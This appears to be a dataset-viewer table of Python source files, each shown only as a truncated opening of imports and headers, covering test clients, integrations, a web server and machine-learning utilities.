source stringlengths 3 86 | python stringlengths 75 1.04M |
|---|---|
test_client.py | from __future__ import print_function
import os
import subprocess
import sys
import time
import threading, queue
from enum import Enum
try:
import ConfigParser as configparser
except ImportError:
import configparser
try:
import Queue as queue
except ImportError:
import queue
from unittest import TestC... |
signals.py | # import logging
# import os
# import shutil
# from django.db.models.signals import post_save
# from django.dispatch import receiver
# from praia.models import Run
# import threading
# from praia.pipeline import AstrometryPipeline
# @receiver(post_save, sender=Run)
# def on_create_praia_run_signal(sender, instance, ... |
miner.py | #!/usr/bin/python
"Cryptocurrency Miner (Build Your Own Botnet)"
# standard library
import os
import sys
import time
import json
import hmac
import socket
import struct
import hashlib
import binascii
import threading
if sys.version_info[0] == 3:
import urllib.parse as urlparse # Python 3
else:
from urllib2 import u... |
MicrosoftTeams.py | import demistomock as demisto
from CommonServerPython import *
from CommonServerUserPython import *
''' IMPORTS '''
import requests
from distutils.util import strtobool
from flask import Flask, request, Response
from gevent.pywsgi import WSGIServer
import jwt
import time
from threading import Thread
from typing import... |
camera_communicator.py |
import collections
import json
import logging
import os
import select
import threading
import time
import traceback
import Pyro4
import Pyro4.errors
import Pyro4.socketutil
import Pyro4.util
import numpy as np
from pymodbus.exceptions import ConnectionException
from traitlets import Int, Unicode, Bool, List, Float, ... |
module.py | #!/usr/bin/env python
#
# Copyright 2007 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... |
tests.py | import multiprocessing
from speedysvc.hybrid_lock import HybridLock, \
CONNECT_OR_CREATE, \
CONNECT_TO_EXISTING, \
CREATE_NEW_OVERWRITE, \
CREATE_NEW_EXCLUSIVE, \
SemaphoreExistsException, \
NoSuchSemaphoreException
def test1():
# First try to create, overwriting+destroying
print("Crea... |
async_dqn.py | #!/usr/bin/env python
import os
os.environ["KERAS_BACKEND"] = "tensorflow"
from skimage.transform import resize
from skimage.color import rgb2gray
import threading
import tensorflow as tf
import sys
import random
import numpy as np
import time
import gym
from keras import backend as K
from model import build_network
f... |
train_faster_rcnn_alt_opt.py | #!/usr/bin/env python
# --------------------------------------------------------
# Faster R-CNN
# Copyright (c) 2015 Microsoft
# Licensed under The MIT License [see LICENSE for details]
# Written by Ross Girshick
# --------------------------------------------------------
"""Train a Faster R-CNN network using alternat... |
conftest.py | import requests
import threading
from urllib.parse import urljoin
from be import serve
from fe import conf
thread: threading.Thread = None
# 修改这里启动后端程序,如果不需要可删除这行代码
def run_backend():
# rewrite this if rewrite backend
serve.be_run()
def pytest_configure(config):
global thread
print("frontend begin ... |
client.py | from asyncio.events import AbstractEventLoop
import socket
from time import sleep
from threading import Thread
class Client:
def __init__(self, address: str, port: int):
self.sock = None
self.serverVersion = None
self.spacer = None
self.id = None
self.connecte... |
notify.py | #!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import base64
import hashlib
import hmac
import json
import os
import re
import threading
import time
import urllib.parse
import requests
# 原先的 print 函数和主线程的锁
_print = print
mutex = threading.Lock()
# 定义新的 print 函数
def print(text, *args, **kw):
"""
使输出有序进行,不出现多线... |
url_change.py | import webview
import threading
import time
"""
This example demonstrates how a webview window is created and URL is changed
after 10 seconds.
"""
def change_url():
# wait a few seconds before changing url:
time.sleep(10)
# change url:
webview.load_url("http://www.html5zombo.com/")
if __name__ == ... |
application.py | import queue
import threading
from datetime import datetime
class ApplicationLayer():
"""
This class describes the input and output on the user side.
The application layer is connected to the transport layer via two queues. It is responsible for taking user inputs
and passing it to the transport layer... |
napari_frontend.py | """
Use the Acquisition class with Napari as an image viewer. This is tested in an IDE.
In other python environments (i.e. notebook), the relevant calls to napari might be different
"""
from pycromanager import start_headless
from pycromanager import Acquisition, multi_d_acquisition_events
from napari.qt.threading impo... |
CuraSceneNode.py | # Copyright (c) 2019 Ultimaker B.V.
# Cura is released under the terms of the LGPLv3 or higher.
## Find_moveo ##
from copy import deepcopy
from typing import cast, Dict, List, Optional
from UM.Application import Application
from UM.Math.AxisAlignedBox import AxisAlignedBox
from UM.Math.Polygon import Polygon # For t... |
config_menus.py | """Menus for Magic DXLink Configurator"""
import wx
import csv
from scripts import mdc_gui
from netaddr import IPRange, IPNetwork
from pydispatch import dispatcher
class PreferencesConfig(mdc_gui.Preferences):
"""Sets the preferences """
def __init__(self, parent):
mdc_gui.Preferences.__init__(self, ... |
ext_greenhouse.py | #!/usr/bin/python3
# -*- coding: utf-8 -*-
# script for "panic" mode - extended bot
# using telepot as Python framework for Telegram Bot API
from __future__ import absolute_import
__author__ = "Thomas Kaulke"
__email__ = "kaulketh@gmail.com"
import conf.greenhouse_config as conf
import conf.lib_ext_greenhouse as lib... |
main.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Program entry point"""
from __future__ import print_function
# pylint: disable=W0611
# pylint: disable=E0611
import os
import sys
import argparse
import logging
import signal
import ConfigParser
from multiprocessing import Process
# This module seems to have some issu... |
rt_external_events.py | # Real time script that verifies that the data extracted by the
# beacon collector is the same public data that this host can observe, or
# has a tolerable delay.
import datetime
import queue
import time
import requests
import binascii
import json
import argparse
from requests.exceptions import ConnectionError
from js... |
utilities.py | import inspect
import signal
import random
import time
import traceback
import sys
import os
import subprocess
import math
import pickle as pickle
from itertools import chain
import heapq
class Thunk(object):
# A class for lazy evaluation
def __init__(self, thing):
self.thing = thing
self.evalu... |
test_operator.py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... |
__init__.py | #!/usr/bin/env python
#
# Copyright 2017-2018 Amazon.com, Inc. and its affiliates. All Rights Reserved.
#
# Licensed under the MIT License. See the LICENSE accompanying this file
# for the specific language governing permissions and limitations under
# the License.
#
#
# Copy this script to /sbin/mount.efs and make sur... |
test_capi.py | # Run the _testcapi module tests (tests for the Python/C API): by defn,
# these are all functions _testcapi exports whose name begins with 'test_'.
import os
import pickle
import random
import subprocess
import sys
import time
import unittest
from test import support
from test.support import MISSING_C_DOCSTRINGS
try:... |
sqlite.py | from __future__ import annotations
import asyncio
import concurrent.futures
from enum import Enum
import functools
import logging
import queue
try:
# Linux expects the latest package version of 3.35.4 (as of pysqlite-binary 0.4.6)
import pysqlite3 as sqlite3
except ModuleNotFoundError:
# MacOS has latest br... |
test_util.py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
test_server.py | import os
from multiprocessing.managers import DictProxy
import requests
import time
import tempfile
import uuid
from typing import List, Text, Type, Generator, NoReturn
from contextlib import ExitStack
from _pytest import pathlib
from aioresponses import aioresponses
import pytest
from freezegun import freeze_time... |
gui.py | import tkinter as tk
import numpy as np
import time
import threading
from tkinter import ttk
from environment import Environment
from agent import Agent as RandomAgent
from temporal_learning_agent import QAgent as QAgent, SARSAAgent as SarsaAgent
from mc_agent import FirstVisitMCAgent as FVAgent, EveryVisitMCAgent as E... |
test_preload.py | import threading
import time
from unittest.mock import Mock
import pytest
from irrd.rpki.status import RPKIStatus
from irrd.scopefilter.status import ScopeFilterStatus
from irrd.utils.test_utils import flatten_mock_calls
from ..database_handler import DatabaseHandler
from ..preload import (Preloader, PreloadStoreMana... |
game.py | import types
import os
import random
import sys
import traceback
import io
try:
import threading
except ImportError:
import dummy_threading as threading
from rgkit import rg
from rgkit.gamestate import GameState
from rgkit.settings import settings
sys.modules['rg'] = rg # preserve backwards compatible robo... |
pyminer.py | #!/usr/bin/python
#
# Copyright (c) 2011 The DigiByte developers
# Distributed under the MIT/X11 software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
#
import time
import json
import pprint
import hashlib
import struct
import re
import base64
import httplib
impor... |
notification.py | #!/usr/bin/env python3.6
"""Module for alerting."""
__author__ = 'Philipp Engel'
__copyright__ = 'Copyright (c) 2017 Hochschule Neubrandenburg'
__license__ = 'BSD-2-Clause'
# Build-in modules.
import base64
import logging
import queue
import shlex
import smtplib
import socket
import ssl
import subprocess
import thre... |
threading_local.py | #!/usr/bin/env python
# encoding: utf-8
#
# Copyright (c) 2008 Doug Hellmann All rights reserved.
#
"""Keeping thread-local values
"""
#end_pymotw_header
import random
import threading
import logging
logging.basicConfig(level=logging.DEBUG,
format='(%(threadName)-10s) %(message)s',
... |
py_utils.py | # Lint as: python3
# Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless ... |
handlers.py | # Copyright 2001-2016 by Vinay Sajip. All Rights Reserved.
#
# Permission to use, copy, modify, and distribute this software and its
# documentation for any purpose and without fee is hereby granted,
# provided that the above copyright notice appear in all copies and that
# both that copyright notice and this permissio... |
bgblink.py | import socket
import time
import random
import threading
import sys
import os
class BGBLinkCable():
def __init__(self,ip,port):
self.ip = ip
self.port = port
self.ticks = 0
self.frames = 0
self.received = 0
self.sent = 0
self.transfer = -1
self.lock = threading.Lock()
self.exchangeHandler = None
d... |
main_app.py | """Starts the flask server and then the popup interface."""
import sys
import threading
from collections import deque
from dev_common import exception_one_line
from flask_server_files.flask_app import start_flask_app
from flask_server_files.helpers import check_for_existing_instance
from log_setup import lg
from main_... |
platform_IO_communication.py | import logging
from singleton_decorator import singleton
import requests
import json
import time
import threading
import queue
import debugpy
@singleton
class PlatformIOCommunication:
"""
This class is used to send and receive messages to the platform.
"""
communication_protocol_phase_messages = N... |
region.py | from __future__ import with_statement
import contextlib
import datetime
from functools import partial
from functools import wraps
import json
import logging
from numbers import Number
import threading
import time
from typing import Any
from typing import Callable
from typing import cast
from typing import Mapping
from... |
server.py | import pygame
from Dino import dino
from Cactus import cactus
from Berb import berb
from random import randint
from math import floor, ceil
import socket
import threading
import os
# Socket
# Take Local IP as default
HOST = socket.gethostbyname(socket.gethostname())
PORT = 1234
connection_established = False
conn, add... |
main.py | import telebot
import bot
import flask
from config import *
import log
from states import states as s
from time import sleep
import threading
logger_main = log.logger('main', 'main.log', 'WARNING')
def update_states(timeout=43200):
"""
This function is updating states of users
:param timeout: type <int>... |
motion-track.py | #!/usr/bin/env python
progname = "motion_track.py"
ver = "version 0.98"
"""
motion-track ver 0.95 written by Claude Pageau pageauc@gmail.com
Raspberry (Pi) - python opencv2 motion tracking using picamera module
This is a raspberry pi python opencv2 motion tracking demonstration program.
It will detect motion in the f... |
shr.py | from threading import Thread
from time import sleep, time
from audioplayer import AudioPlayer
from keyboard import on_press_key, add_hotkey, on_release_key
from json import loads
from tkinter import Label, Tk, Frame
from os import kill
from winregistry import WinRegistry
import psutil
from win32gui import GetWindowText... |
newevent.py | """Easy generation of new events classes and binder objects"""
__author__ = "Miki Tebeka <miki.tebeka@gmail.com>"
import wx
#---------------------------------------------------------------------------
def NewEvent():
"""Generate new (Event, Binder) tuple
e.g. MooEvent, EVT_MOO = NewEvent()
"""
e... |
example_test.py | # This example code is in the Public Domain (or CC0 licensed, at your option.)
# Unless required by applicable law or agreed to in writing, this
# software is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
# CONDITIONS OF ANY KIND, either express or implied.
# -*- coding: utf-8 -*-
from __future__ import pri... |
test_operator.py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... |
scheduler.py | #!/usr/bin/env python
from __future__ import absolute_import
import os
import sys
import time
import pickle
import random
import signal
import socket
import logging
import threading
import subprocess
import json
import zmq
import six
from six.moves import range
from six.moves import zip
ctx = zmq.Context()
from addi... |
dab_mqtt_client.py | __copyright__ = """
Copyright 2021 Amazon.com, Inc. or its affiliates.
Copyright 2021 Netflix Inc.
Copyright 2021 Google LLC
"""
__license__ = """
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a cop... |
image_example.py | import picamera
import threading
import time
from processing.qr import get_qr_code
from processing.scan import scan_image
def extract_code(file):
"""thread worker function"""
# time.sleep(0.5)
print 'Thread for: ' + file
scan_image(file)
get_qr_code(file)
# print image
return
camera =... |
run.py | # Copyright (c) 2015, Baidu.com, Inc. All Rights Reserved
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
#!/usr/bin/env pythons
import sys
import subprocess
import time
import threading
import traceback
import json
import signal
from bin import eva_var
from bin ... |
app.py | from flask import Flask, render_template, url_for, request, jsonify, redirect
import requests
import pandas
from bs4 import BeautifulSoup
from textblob import TextBlob
import matplotlib.pyplot as plt
import urllib
import nltk
import spacy
import queue
from threading import Thread
from nltk.corpus import stopwords
from ... |
logic.py | import os
import sys
import platform
import glob
import shutil
import traceback
import tarfile
import subprocess
import json
import sqlite3
import urllib.request
from threading import Thread
from collections import OrderedDict
import lxml.html
from framework import path_data, app, celery
from framework.util import Ut... |
tasks.py | """
This module holds a simple system for the multi-threaded execution of
scraper code. This can be used, for example, to split a scraper into
several stages and to have multiple elements processed at the same
time.
The goal of this module is to handle simple multi-threaded scrapers,
while making it easy to upgrade to... |
superboard.py | #!/usr/bin/env python -u
#
# Ohio Scientific Superboard II simulator
# Author: David Beazley (http://www.dabeaz.com)
# Copyright (C) 2011
#
# This simulator requires the use of the 'basic.bin' and 'rom.bin'
# binary files in this directory. Once starting the simulator,
# you need to follow the following steps.
#
# ... |
tempdeck.py | from time import sleep
from threading import Event, Thread
from opentrons.drivers.temp_deck import TempDeck as TempDeckDriver
from opentrons import commands
TEMP_POLL_INTERVAL_SECS = 1
class MissingDevicePortError(Exception):
pass
# TODO: BC 2018-08-03 this class shares a fair amount verbatim from MagDeck,
# t... |
websocketconnection.py | import threading
import websocket
import gzip
import ssl
import logging
from urllib import parse
import urllib.parse
from binance_f.base.printtime import PrintDate
from binance_f.impl.utils.timeservice import get_current_timestamp
from binance_f.impl.utils.urlparamsbuilder import UrlParamsBuilder
from binan... |
image_matching.py | #!/usr/bin/env python
"""
Copyright 2018, Zixin Luo, HKUST.
Conduct pair-wise image matching.
"""
from __future__ import print_function
import os
import sys
import time
from threading import Thread
from queue import Queue
import cv2
import numpy as np
import tensorflow as tf
CURDIR = os.path.dirname(__file__)
sys.... |
train_mask_rcnn.py | """Train Mask RCNN end to end."""
import argparse
import os
# disable autotune
os.environ['MXNET_CUDNN_AUTOTUNE_DEFAULT'] = '0'
os.environ['MXNET_GPU_MEM_POOL_TYPE'] = 'Round'
os.environ['MXNET_GPU_MEM_POOL_ROUND_LINEAR_CUTOFF'] = '28'
os.environ['MXNET_EXEC_BULK_EXEC_MAX_NODE_TRAIN_FWD'] = '999'
os.environ['MXNET_EXE... |
test_api_client_factory.py | import unittest
from collections import UserString
from datetime import datetime
from unittest.mock import patch
from urllib3 import PoolManager, ProxyManager
from parameterized import parameterized
from threading import Thread
from lusid import (InstrumentsApi, ResourceListOfInstrumentIdTypeDescriptor,
... |
worker_pool_main.py | #
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not us... |
network-server.py | from threading import Thread
from time import sleep
import pyvjoy
import socket
# setup the joystick devices
vjoyDevices = { }
for i in range (1,5):
try:
vjoyDevices[i] = pyvjoy.VJoyDevice(i)
vjoyDevices[i].reset()
vjoyDevices[i].reset_buttons()
vjoyDevices[i].reset_povs()
... |
core.py | import requests
import os
from bs4 import BeautifulSoup
from .common import HEADERS
from threading import Thread
import time
class DirectLinkCore:
name = ''
imgList = []
num = 0
currentPage = 0
currentNum = 0
maxPage = 0
keyword = ''
def __init__(self) -> None:
pass
def s... |
indexWiki.py | import time
import sys
import json
import os
import subprocess
import threading
import http.client
# TODO
# - test commit
# - test killing server, promoting new primary, etc.
# - test 2nd replica
host1 = '10.17.4.92'
host2 = '10.17.4.12'
#host1 = '127.0.0.1'
#host2 = '127.0.0.1'
DO_REPLICA = True
class Chunke... |
public.py | # -*- coding: utf-8 -*-
from linepy import *
from datetime import datetime
from time import sleep
from bs4 import BeautifulSoup
from gtts import gTTS
from humanfriendly import format_timespan, format_size, format_number, format_length
import time, random, sys, json, codecs, threading, glob, re, string, os, requests, s... |
websocket-client.py | import subprocess
import websocket
import thread
import threading
import time
import json
import ssl
with open('./config/websocket.json') as json_data:
websocket_json = json.load(json_data)
token = websocket_json["token"]
server_address = websocket_json["server_address"]
with open('./config/commands.json'... |
interface.py | """
Module for defining bell-and-whistles movement features
"""
import time
import fcntl
import logging
import numbers
import signal
import re
from contextlib import contextmanager
from pathlib import Path
from threading import Thread, Event
from types import SimpleNamespace, MethodType
from weakref import WeakSet
imp... |
FunctionPage.py | '''
MIT License
Copyright (c) 2019 JiJiU33C43I Contributors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merg... |
Pose_Detect.py | import sys
import os
sys.path.append(os.path.abspath('alphapose'))
sys.path.append(os.path.abspath('utils'))
from queue import Queue
from threading import Thread, currentThread
from utils.timer import Timer
from utils.dir_related_operation import makedir_v1
import cv2
import numpy as np
import json
import torch
# fro... |
sim-extensible-parallel.py | #!/usr/bin/env python
# Copyright (c) 2013. Mark E. Madsen <mark@madsenlab.org>
#
# This work is licensed under the terms of the Apache Software License, Version 2.0. See the file LICENSE for details.
"""
Description here
"""
import logging as log
import ming
import argparse
import time
import itertools
import co... |
mcdmk.py | import requests
import socket
import struct
import json
import threading
import time
import mcrcon
import logging
#tellraw @a {"text":"mdzzzz"}
# 第一步,创建一个logger
logger = logging.getLogger()
logger.setLevel(logging.DEBUG) # Log等级总开关
# 第二步,创建一个handler,用于写入日志文件
logfile = 'test.log'
fh = logging.FileHandler(logfile, mo... |
wsdump.py | #!/Users/billtonhoang/Documents/CollaborativeAI/src/randomparty/venv/bin/python3
"""
websocket - WebSocket client library for Python
Copyright (C) 2010 Hiroki Ohtani(liris)
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as ... |
autohdmap_fusion_deploy.py | # -*- coding: utf-8 -*-
from base.log import *
import os
from multiprocessing import Process
import redis_pool
def gen_id():
r = redis_pool.get('dornaemon')
return r.incr('deploy_id')
def do(ver, image_name, deploy_id, register_url='http://192.168.5.34:33900/', container_name='autohdmap_lane', server_port='20527'... |
multiprocess_test.py | from ast import Pass
from inputs import get_gamepad
from multiprocessing import Process,Queue,Pool
from OpenGL.GL import *
from OpenGL.GLU import *
from OpenGL.GLUT import *
import cv2
import time
import sys
# USB camera setup
src = 'v4l2src device=/dev/video0 ! video/x-raw, width=3840, height=2160, format=NV12 ! app... |
test_v2_0_0_image.py | import json
import unittest
from multiprocessing import Process
import requests
from dateutil.parser import parse
from .fixtures import APITestCase
class ImageTestCase(APITestCase):
def test_list(self):
r = requests.get(self.podman_url + "/v1.40/images/json")
self.assertEqual(r.status_code, 200, ... |
common_utils.py | r"""Importing this file must **not** initialize CUDA context. test_distributed
relies on this assumption to properly run. This means that when this is imported
no CUDA calls shall be made, including torch.cuda.device_count(), etc.
torch.testing._internal.common_cuda.py can freely initialize CUDA context when imported.... |
specialist_generalist.py | # Specialist vs Generalist agent new algorithm
import numpy as np
import multiprocessing as mp
from multiprocessing import Process, Pipe
import argparse
from scenes.poet_env import create_poet_env
from copy import deepcopy
import random
import time
from environment import env_loader
class Hp():
def __init__(sel... |
windows.py | import contextlib
import ctypes
import ctypes.wintypes
import io
import json
import os
import re
import socket
import socketserver
import threading
import time
import typing
import click
import collections
import pydivert
import pydivert.consts
REDIRECT_API_HOST = "127.0.0.1"
REDIRECT_API_PORT = 8085
##############... |
executor.py | import os
import sys
import time
from multiprocessing import Process
from xmlrpc.client import ServerProxy
import ujson as json
from kombu import Connection
from kombu import Exchange
from kombu import Producer
from kombu import Queue
from kombu import serialization
from kombu import uuid
serialization.register(
... |
_iterdevs.py | # -*- coding: utf-8 -*-
# Copyright 2020 Taylor R Campbell
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... |
MultiProc.py | import math
import threading
import multiprocessing
__author__ = "Lei Hu <hulei@pmo.ac.cn>"
__version__ = "v1.0"
class Multi_Proc:
@staticmethod
def MP(taskid_lst=None, func=None, nproc=8, mode='mp'):
if mode == 'mp':
# Ref: https://gist.github.com/tappoz/cb88f7a9d9ba27cfee1e2f035... |
rcv_svm_grad_avg.py | import argparse
import os
import sys
import time
from torch.multiprocessing import Process
sys.path.append("../../")
validation_ratio = .1
def dist_is_initialized():
if dist.is_available():
if dist.is_initialized():
return True
return False
def broadcast_average(wor... |
wordnet_app.py | # Natural Language Toolkit: WordNet Browser Application
#
# Copyright (C) 2001-2013 NLTK Project
# Author: Jussi Salmela <jtsalmela@users.sourceforge.net>
# Paul Bone <pbone@students.csse.unimelb.edu.au>
# URL: <http://nltk.org/>
# For license information, see LICENSE.TXT
"""
A WordNet Browser application whic... |
spider.py | #!/usr/bin/env python
# -*- coding:utf-8 -*-
import Queue
import logging
import time
import threading
from multiprocessing.managers import BaseManager
logging.basicConfig(level=logging.INFO,
format='%(filename)s %(asctime)s %(thread)d [%(levelname)s] %(message)s')
logger = logging.getLogger(__name... |
threadserver-withb64display.py | import socket
import base64
from threading import Thread, Event
mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# mysock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
mysock.bind((socket.gethostname(), 8500))
mysock.listen(5)
while True:
# accept connections from outside
(clientsocket, addre... |
client_finger_tapping_task.py | import threading
import pygame
from common import (COLOR_BACKGROUND, COLOR_DIM, COLOR_FOREGROUND,
COLOR_PLAYER, COLOR_PLAYER_DIM)
from config import UPDATE_RATE
from network import receive, send
from .config_finger_tapping_task import COUNT_DOWN_MESSAGE, SQUARE_WIDTH
from .utils import PlayerSquar... |
tpu_estimator.py | # Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
helpers.py | from LSP.plugin.core.typing import Any, Callable, Dict, List, Optional, Tuple
import os
import re
import sublime
import subprocess
import threading
StringCallback = Callable[[str], None]
SemanticVersion = Tuple[int, int, int]
def run_command_sync(
args: List[str], cwd: Optional[str] = None, extra_env: Optional[D... |
lib.py | """Library instance and allocated buffer handling."""
import asyncio
import json
import itertools
import logging
import os
import sys
import threading
import time
from ctypes import (
Array,
CDLL,
CFUNCTYPE,
POINTER,
Structure,
addressof,
byref,
cast,
c_char,
c_char_p,
c_in... |
submitty_autograding_worker.py | #!/usr/bin/env python3
import os
import sys
import time
import signal
import shutil
import json
import grade_items_logging
import grade_item
from submitty_utils import glob
from submitty_utils import dateutils
import multiprocessing
import contextlib
import socket
# ===================================================... |
cli.py | import collections
import csv
import multiprocessing as mp
import os
import datetime
import sys
from pprint import pprint
import re
import ckan.include.rjsmin as rjsmin
import ckan.include.rcssmin as rcssmin
import ckan.lib.fanstatic_resources as fanstatic_resources
import sqlalchemy as sa
import urlparse
import routes... |
main.py | import logging
import os
import pickle
import sys
import threading
from PySide2 import QtCore, QtGui, QtQml
from googleapiclient.discovery import build
from google_auth_oauthlib.flow import InstalledAppFlow
from google.auth.transport.requests import Request
SCOPES = ["https://www.googleapis.com/auth/calendar.readon... |
cryoDeserLockCheck.py | #!/usr/bin/env python3
#-----------------------------------------------------------------------------
# Title : cryo DAQ top module (based on ePix HR readout)
#-----------------------------------------------------------------------------
# File : cryoDAQ.py evolved from evalBoard.py
# Created : 2018-06-12... |
03_static_web_server_oop.py | import socket
import re
from multiprocessing import Process
# 设置静态文件根目录
HTML_ROOT_DIR = "./html"
class HTTPServer(object):
def __init__(self):
self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
def ... |
run_tests.py | #!/usr/bin/env python3
"""
Selenium-based test suite for Pannellum
Dependencies:
Python 3, Selenium Python bindings, Pillow, NumPy
Either: Firefox & geckodriver or Chrome & chromedriver
Run tests for Pannellum, set up with Continuous Integration.
Contributed by Vanessa Sochat, JOSS Review 2019.
See the project repos... |
poloniex.py | from bitfeeds.socket.restful import RESTfulApiSocket
from bitfeeds.exchange import ExchangeGateway
from bitfeeds.market import L2Depth, Trade
from bitfeeds.util import Logger
from bitfeeds.instrument import Instrument
from bitfeeds.storage.sql_template import SqlStorageTemplate
from functools import partial
from dateti... |
elastic.py | """
Newsler's Kafka connector that acts as consumer of topics: newsler-news-crawler and newsler-twitter-crawler.
The information is then pushed to the ElasticSearch indexes.
"""
import logging
import os
import time
import traceback
from datetime import datetime
from json import loads
from threading import Thread
from ... |
discovery.py | import socket
import threading
import time
import struct
import rlp
from crypto import keccak256
from secp256k1 import PrivateKey
from ipaddress import ip_address
from typing import Union
class EndPoint(object):
def __init__(self, address: Union[str, int], udpPort: int, tcpPort: int):
self.address = ip_a... |
val.py | # YOLOv5 🚀 by Ultralytics, GPL-3.0 license
"""
Validate a trained YOLOv5 model accuracy on a custom dataset
Usage:
$ python path/to/val.py --weights yolov5s.pt --data coco128.yaml --img 640
Usage - formats:
$ python path/to/val.py --weights yolov5s.pt # PyTorch
... |
manager.py | import threading
from common.pygamescreen import PyGameScreen
from webserver.server import setup_server_runner, run_http_server, run_socket_server
from webserver.video import VideoSource
from webserver.websocket import WebSocketManager
class WebControlManager:
def __init__(self, enable_http, enable_socket, pygame_s... |
utils.py | import os
import os.path as osp
import subprocess
import numpy as np
from fastsk import FastSK
from sklearn.svm import LinearSVC
from sklearn.linear_model import LogisticRegression
from sklearn.calibration import CalibratedClassifierCV
from sklearn import metrics
import time
import multiprocessing
import subprocess
d... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.